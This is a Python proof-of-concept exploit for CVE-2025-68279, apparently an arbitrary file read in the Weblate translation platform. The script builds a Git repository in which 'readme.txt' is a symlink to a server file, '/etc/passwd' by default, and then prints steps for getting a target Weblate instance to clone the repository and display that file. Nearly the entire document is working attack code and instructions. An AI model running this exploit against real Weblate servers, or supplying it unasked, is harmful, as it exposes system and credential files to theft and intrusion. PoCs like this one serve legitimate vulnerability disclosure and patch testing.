#!/usr/bin/env python3
"""
CVE-2025-68279 PoC: Weblate Arbitrary File Read via Symlink
This PoC demonstrates creating a malicious repository with symlink to read arbitrary files.
"""
import os
import subprocess
import tempfile
def create_malicious_repo(target_file, output_dir):
"""
Create a Git repository with a symlink pointing to target_file.
Args:
target_file: The file on the server we want to read (e.g., '/etc/passwd')
output_dir: Directory to create the malicious repository
"""
os.makedirs(output_dir, exist_ok=True)
os.chdir(output_dir)
# Initialize git repo
subprocess.run(['git', 'init'], check=True, capture_output=True)
subprocess.run(['git', 'config', 'user.email', '
[email protected]'], check=True, capture_output=True)
subprocess.run(['git', 'config', 'user.name', 'Attacker'], check=True, capture_output=True)
# Create symlink to target file
# In a real attack, this would be pushed to a repository the target Weblate instance processes
symlink_path = os.path.join(output_dir, 'readme.txt')
if os.path.exists(symlink_path):
os.remove(symlink_path)
try:
os.symlink(target_file, symlink_path)
print(f'[+] Created symlink: {symlink_path} -> {target_file}')
except OSError as e:
print(f'[-] Failed to create symlink: {e}')
return False
# Add and commit
subprocess.run(['git', 'add', '.'], check=True, capture_output=True)
subprocess.run(['git', 'commit', '-m', 'Add symlink to sensitive file'], check=True, capture_output=True)
print(f'[+] Malicious repository created in: {output_dir}')
print(f'[+] Target file: {target_file}')
print(f'[+] After Weblate processes this repo, check the file content in the Weblate interface')
return True
def main():
# Configuration
target_file = '/etc/passwd' # Can be changed to any file readable by Weblate process
output_dir = tempfile.mkdtemp(prefix='cve_2025_68279_')
print('=' * 60)
print('CVE-2025-68279 PoC: Weblate Arbitrary File Read')
print('=' * 60)
# Create malicious repository
success = create_malicious_repo(target_file, output_dir)
if success:
print('\n[*] Next steps for exploitation:')
print(f' 1. Push the repository in {output_dir} to a Git hosting service')
print(' 2. Add this repository to target Weblate instance')
print(' 3. Trigger repository update/pull in Weblate')
print(' 4. View the file content through Weblate\'s file browser or translation interface')
print('\n[*] Note: This PoC creates the symlink locally.')
print(' In real attack, the symlink is pushed to remote repo Weblate will clone.')
return 0 if success else 1
if __name__ == '__main__':
exit(main())